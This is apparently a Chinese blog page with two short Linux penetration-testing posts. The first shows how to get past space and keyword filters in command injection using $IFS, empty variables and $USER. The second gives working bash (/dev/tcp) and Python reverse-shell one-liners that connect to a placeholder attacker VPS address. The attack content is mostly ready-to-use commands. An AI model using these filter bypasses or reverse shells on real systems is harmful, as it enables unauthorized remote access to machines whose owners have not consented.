分类 Linux 下的文章

Linux下无空格执行命令以及环境变量等问题小折腾


忘了是什么时候了,反正有一天碰到了一个站可以执行命令,但是不能有空格,就开始瞎折腾了...

先在群里问的时候一个平安的大牛说了$IFS,先看看$IFS是什么东西。

IFS:用于设置指定shell域分隔符,默认情况下为空格。

默认情况下是空格...

比如说ls ../命令中间有个空格,这里可以用ls$IFS../

111.png

linux系统环境变量,使用set命令查看
set.png

在某些特殊环境下过滤了某些命令时或许可以用内置环境变量来绕过
比如过滤了whoami的时候你又很想知道当前用户是谁...虽然这种几率为0.000000001,但是既然去折腾这个了就总结一下吧。

可以用USER内置环境变量来查看当前用户
echo $USER
user.png

$符号在linux中是获取变量的时候,当该变量不存在的时候返回空

某些情况下过滤了某些东西,比如说过滤了$IFS,正则是ls\s../

这个时候想执行该命令可以用shell的$绕过,比如说ls$XXOOSSS ../

$1.png

Ps:有更好的想法可以说说,接受一切对的教育。


Linux下反弹Shell的常用方法


额,我个人目前只有两种方式反弹shell,暂时没有碰到过奇葩的linux,所以目前只用过两种。

bash弹shell
xx.xx.xx.xx换成你的vps ip,82换成你vps监听的端口

bash -i >& /dev/tcp/xx.xx.xx.xx/82 0>&1       

Python反弹shell
xx.xx.xx.xx换成你的vps ip,82换成你vps监听的端口

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xx.xx.xx.xx",82));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'